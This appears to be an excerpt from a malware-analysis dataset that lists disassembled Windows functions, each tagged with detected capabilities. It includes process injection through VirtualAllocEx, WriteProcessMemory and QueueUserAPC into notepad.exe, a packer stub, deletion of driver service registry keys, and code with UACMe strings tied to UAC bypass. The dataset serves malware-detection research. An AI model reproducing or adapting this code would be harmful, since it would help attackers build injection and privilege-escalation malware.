joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140052780
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400c0010]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rbx, rcx
lea rcx, [0x1400b3730]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x14005298f
mov rcx, qword [rbx + 0x10]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, rcx
cmp rax, 0x34
jb 0x1400529ba
mov rax, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400527f1
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x1f]
call fcn.140051210
nop
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 8
cmovae rdx, qword [rbp + 0x1f]
lea rcx, [rbp + 0x3f]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbx + 0x10]
sub rdi, rax
cmp rdi, 0x22
jb 0x1400529b4
cmp qword [rbx + 0x18], 8
jb 0x140052848
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 1]
call fcn.140051210
nop
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
lea r8, [rbp - 9]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140052897
cmp eax, 2
sete bl
jmp 0x1400528f4
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.NtUnloadDriver
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x3f]
call rax
lea rdx, [rbp - 1]
mov rcx, 0xffffffff80000002
test eax, eax
je 0x1400528da
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
xor bl, bl
jmp 0x1400528f4
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
test eax, eax
je 0x1400528f2
xor bl, bl
jmp 0x1400528f4
mov bl, 1
mov rdx, qword [rbp + 0x17]
cmp rdx, 8
jb 0x140052937
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052932
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140052932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053fd8
xor eax, eax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], 7
mov word [rbp - 1], ax
mov rdx, qword [rbp + 0x37]
cmp rdx, 8
jb 0x14005298c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052987
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140052987
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053fd8
movzx eax, bl
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140053720
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14002d8a0
nop
call fcn.14002d8a0
int3
Function at 0x1400529c0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x1400c0010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140052ad3
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140052ad3
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
xor edx, edx
mov qword [rsp + 0x50], rdx
mov ecx, dword [rax + rsi + 0xb0]
test ecx, ecx
jne 0x140052a38
mov qword [rdi], rdx
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rdx
jmp 0x140052ae0
lea rbx, [rsi + rcx]
mov ebp, dword [rax + rsi + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x48]
cmp rbx, rbp
jae 0x140052ac1
mov r8d, dword [rbx + 4]
test r8d, r8d
je 0x140052ac1
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [r8 - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, rdx
je 0x140052a9a
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x48], rcx
jmp 0x140052ab6
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.140053120
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x140052a50
mov rax, qword [rsp + 0x40]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
jmp 0x140052ae0
xor edx, edx
mov qword [rcx], rdx
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdx
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140053720
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14005f150
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005f15d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005f16d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005f155
lea eax, [rcx + 1]
jmp 0x14005f17b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005f18e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005f174
sub eax, 3
jb 0x14005f1ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005f1fd
sar eax, 1
movsxd rbp, eax
jb 0x14005f1e4
jmp 0x14005f1bc
add ebx, ebx
jne 0x14005f1ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005f1e4
inc ecx
add ebx, ebx
jne 0x14005f1ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005f1e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005f1dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005f1cc
add ecx, 2
jmp 0x14005f1e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005f112
jmp 0x14005f15d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x36a00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005f249
cmp rsi, rcx
jae 0x14005f251
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005f230
cmp al, 0x8f
ja 0x14005f230
cmp byte [rsi - 2], 0xf
je 0x14005f236
sub al, 0xe8
cmp al, 1
ja 0x14005f21a
cmp rsi, rcx
jae 0x14005f251
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005f220
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005f251
lodsb al, byte [rsi]
jmp 0x14005f230
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5c000]
mov eax, dword [rdi]
or eax, eax
je 0x14005f2ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x62294]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005f25e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005f2a8
mov qword [rbx], rax
add rbx, 8
jmp 0x14005f27e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005f2e8
cmp al, 0xef
ja 0x14005f2da
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005f2ba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005f2c9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005f33c
sub rsp, 0xffffffffffffff80
jmp 0x140020538
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012da0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Create process on windows
Inject apc

Disassembly:
jmp 0x1400117c0
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c158]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x1400210a2]
call fcn.140011375
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x68
lea rax, [rbp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
xor edx, edx
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x114
lea r8, section..data
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140019c40]
call fcn.14001130c
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014110
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014123
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001414d
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014161
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014173
xor al, al
jmp 0x140014191
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001418f
xor al, al
jmp 0x140014191
mov al, 1
add rsp, 0x38
ret
Function at 0x14001605f
Capabilities:
Set registry value

Disassembly:
jmp 0x1400395a0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, reloc.Cabinet.dll_FCIDestroy
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0xe8], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
cmp qword [rbp + 0x118], 0
je 0x140039615
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
jmp 0x140039629
mov qword [rbp + 0x10], 0
xor eax, eax
mov word [rbp + 8], ax
xor eax, eax
mov word [rbp + 0xa], ax
mov eax, dword [rbp + 0x130]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x120]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400611f0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0xe8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret

Function at 0x140016096
Capabilities:
Create thread
Terminate thread

Disassembly:
jmp 0x140031730
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14007f6df]
call fcn.140016b68
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0x140]
lea r8, [0x140016140]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400317b2
jmp 0x140031844
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140016172]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003180e
mov edx, 0x3a98
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140031804
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x2710
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140031830
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test eax, eax
jne 0x140031779
mov eax, dword [0x140075504]
cmp eax, 1
jne 0x14003185b
mov dword [rbp + 0x114], 1
jmp 0x140031865
mov dword [rbp + 0x114], 0
mov eax, dword [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14005a600]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400160d7
Capabilities:
Delete registry value
Set registry value

Disassembly:
jmp 0x14003ae70
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
cmp qword [rbp + 0x170], 0
jne 0x14003aee4
jmp 0x14003b022
cmp qword [rbp + 0x168], 0
jne 0x14003aefb
lea rax, str.Environment
mov qword [rbp + 0x68], rax
jmp 0x14003af06
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x178], 0
jne 0x14003af1e
cmp dword [rbp + 0x160], 0
jne 0x14003af1e
jmp 0x14003b022
lea r8, [rbp + 0x28]
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x14003af3c
jmp 0x14003b022
cmp dword [rbp + 0x160], 0
je 0x14003af7b
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x14003af66
mov dword [rbp + 0x134], 1
jmp 0x14003af70
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov dword [rbp + 4], eax
jmp 0x14003afdf
mov rcx, qword [rbp + 0x178]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003afcc
mov dword [rbp + 0x134], 1
jmp 0x14003afd6
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003b018
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x3e8
mov dword [rsp + 0x20], 1
mov r9, qword [rbp + 0x170]
xor r8d, r8d
mov edx, 0x1a
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
xor eax, eax
test eax, eax
jne 0x14003aed5
cmp qword [rbp + 0x28], 0
je 0x14003b03d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400609c0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400160e6
Capabilities:
Set console window title

Disassembly:
jmp 0x14001d650
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x1c8], rax
lea rcx, [0x14007e6c9]
call fcn.140016b68
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
je 0x14001d6b5
call qword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
jne 0x14001d6ba
jmp 0x14001d743
lea rdx, str.swprintf_s
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400754f8], rax
cmp qword [0x1400754f8], 0
jne 0x14001d6e1
jmp 0x14001d743
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [0x1400754f0], rax
mov edx, 5
mov rcx, qword [0x1400754f0]
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rsp + 0x30], 0x905
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], 6
mov r9d, 3
lea r8, str.___UACMe_v_lu._lu._lu._lu_r_n
mov edx, 0x64
lea rcx, [rbp + 0x10]
call qword [0x1400754f8]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rcx, [rbp - 0x40]
lea rdx, [0x140045a90]
call fcn.1400169a6
mov rcx, qword [rbp + 0x1c8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret
Function at 0x1400160fa
Capabilities:
Print debug messages

Disassembly:
jmp 0x14002d760
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14007f2db]
call fcn.140016b68
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0x80004005
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x84], eax
lea r9, [rbp + 0x28]
mov r8d, 4
lea rdx, [0x140069f80]
lea rcx, str.3AD05575_8857_4850_9277_11B85BDB8E09
call fcn.140016965
test eax, eax
je 0x14002d800
jmp 0x14002d8ae
cmp qword [rbp + 0x28], 0
jne 0x14002d80c
jmp 0x14002d8ae
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [0x140075c58]
mov edx, dword [rcx + 0x10]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x28]
test eax, eax
je 0x14002d82d
jmp 0x14002d8ae
lea r9, [rbp + 0x48]
lea r8, [0x140069b60]
xor edx, edx
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
test eax, eax
je 0x14002d84d
jmp 0x14002d8ae
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x90]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
je 0x14002d870
jmp 0x14002d8ae
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0xa8]
test eax, eax
je 0x14002d887
jmp 0x14002d8ae
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + InitCommonControls]
mov qword [rbp + 0x48], 0
mov dword [rbp + 4], 1
xor eax, eax
test eax, eax
jne 0x14002d7da
cmp qword [rbp + 0x28], 0
je 0x14002d8c3
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + InitCommonControls]
cmp qword [rbp + 0x48], 0
je 0x14002d8d8
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + InitCommonControls]
cmp dword [rbp + 0x84], 0
jne 0x14002d8e7
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 4], 0
je 0x14002d909
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, str._r_nCleanup_success_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x14002d916
lea rcx, str._r_nCleanup_failed_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016118
Capabilities:
Create process on windows

Disassembly:
jmp 0x14003a8f0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x148], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
mov edx, 0x70
lea rcx, [rbp + 0x10]
call fcn.140016825
mov dword [rbp + 0x10], 0x70
mov dword [rbp + 0x14], 0x440
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x188]
mov dword [rbp + 0x40], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14003a9a2
mov rax, qword [rbp + 0x78]
jmp 0x14003a9a4
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140060040]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x148]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret

Function at 0x14001612c
Capabilities:
Write file on windows

Disassembly:
jmp 0x14003ca70
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
mov dword [rbp + 0x24], 0
cmp qword [rbp + 0x128], 0
je 0x14003cadd
cmp dword [rbp + 0x130], 0
jne 0x14003cae4
xor eax, eax
jmp 0x14003cb90
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x14003cb51
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
